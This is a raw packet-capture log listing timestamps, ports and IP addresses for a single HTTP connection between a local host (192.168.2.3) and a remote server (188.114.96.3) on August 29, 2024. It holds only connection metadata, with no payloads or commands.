Aug 29, 2024 12:14:40.069607973 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.069622040 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.069637060 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.069654942 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.069667101 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.069675922 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.069679022 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.069694042 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.069705009 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.069704056 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.069724083 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.069725037 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.069736958 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.069741011 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.069750071 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.069766998 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.069788933 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.070530891 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.070543051 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.070554018 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.070564985 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.070569992 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.070596933 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.070606947 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.070641994 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.070646048 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.070657969 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.070668936 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.070683956 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.070709944 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.070775032 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.070785999 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.070796013 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.070807934 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.070812941 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.070821047 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.070838928 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.070852995 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.070943117 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.070954084 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.070964098 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.070981026 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.071002960 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.071055889 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.071065903 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.071078062 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.071088076 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.071094036 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.071100950 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.071116924 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.071131945 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.071170092 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.071181059 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.071191072 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.071202040 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.071204901 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.071218967 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.071229935 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.071233034 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.071244001 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.071269989 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.071295023 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.071306944 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.071331024 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.071362972 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.071374893 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.071383953 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.071394920 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.071398973 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.071419954 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.071444035 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.071487904 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.071497917 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.071525097 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.071599960 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.071610928 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.071620941 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.071630955 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.071631908 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.071643114 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.071649075 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.071654081 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.071665049 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.071676016 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.071691990 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.071719885 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.071757078 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.087805986 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.087821960 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.087832928 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.087878942 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.087898970 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.088038921 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.088049889 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.088059902 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.088074923 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.088082075 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.088093996 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.088099957 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.088104010 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.088116884 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.088125944 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.088129044 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.088140965 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.088154078 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.088164091 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.088171959 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.088176012 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.088186979 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.088195086 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.088198900 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.088211060 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.088215113 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.088223934 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.088236094 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.088241100 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.088247061 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.088255882 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.088274956 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.088280916 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.088290930 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.088303089 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.088311911 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.088313103 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.088337898 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.088397026 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.088408947 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.088418961 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.088430882 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.088434935 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.088462114 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.088479042 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.088496923 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.088517904 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.088541985 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.088602066 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.088612080 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.088618040 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.088628054 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.088639021 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.088645935 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.088650942 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.088663101 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.088663101 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.088677883 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.088680983 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.088706970 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.088720083 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.088731050 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.088748932 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.088756084 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.088762999 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.088779926 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.088804960 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.088890076 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.088905096 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.088915110 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.088922024 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.088927031 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.088942051 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.088965893 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.089030981 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.089041948 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.089051962 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.089056969 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.089066982 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.089070082 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.089087009 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.089088917 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.089098930 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.089116096 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.089139938 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.160104036 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.160116911 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.160132885 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.160145998 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.160156965 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.160173893 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.160183907 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.160196066 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.160275936 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.160331011 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.160335064 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.160346985 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.160378933 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.160419941 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.160432100 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.160448074 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.160454988 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.160461903 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.160487890 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.160509109 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.160517931 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.160528898 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.160540104 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.160551071 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.160558939 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.160584927 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.160610914 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.160621881 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.160633087 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.160643101 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.160651922 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.160664082 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.160690069 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.161449909 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.161519051 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.161559105 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.161561966 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.161600113 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.161669016 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.161680937 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.161693096 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.161710978 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.161735058 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.161737919 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.161746979 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.161758900 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.161767960 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.161771059 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.161783934 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.161799908 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.161890984 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.161901951 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.161914110 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.161921978 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.161925077 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.161946058 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.161959887 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.161971092 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.161976099 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.162000895 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.162020922 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.162034988 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.162045002 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.162049055 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.162059069 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.162071943 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.162075043 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.162101030 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.162233114 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.162244081 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.162254095 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.162264109 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.162265062 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.162277937 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.162288904 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.162290096 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.162302971 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.162312031 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.162314892 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.162328005 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.162332058 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.162350893 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.162353992 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.162374020 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.162398100 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.162444115 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.162456036 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.162477016 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.162489891 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.162502050 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.162513971 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.162539005 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.162564993 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.162667036 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.162676096 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.162693024 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.162704945 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.162707090 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.162717104 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.162729979 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.162733078 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.162744045 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.162760019 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.162775040 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.163160086 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.164913893 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.178822994 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.178847075 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.178859949 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.178872108 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.178886890 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.178899050 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.178920031 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.178931952 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.178940058 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.178989887 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.179056883 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.179068089 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.179080009 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.179092884 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.179099083 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.179105043 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.179112911 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.179138899 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.179182053 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.179193020 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.179205894 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.179212093 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.179219007 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.179230928 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.179235935 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.179243088 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.179265976 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.179277897 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.179311991 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.179322958 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.179337025 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.179356098 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.179378986 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.179474115 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.179485083 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.179497004 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.179508924 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.179521084 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.179522038 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.179536104 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.179543972 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.179558992 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.179577112 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.179582119 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.179686069 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.179699898 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.179711103 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.179722071 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.179723024 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.179737091 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.179749966 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.179752111 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.179766893 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.179785967 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.179932117 CEST	80	62660	188.114.96.3	192.168.2.3
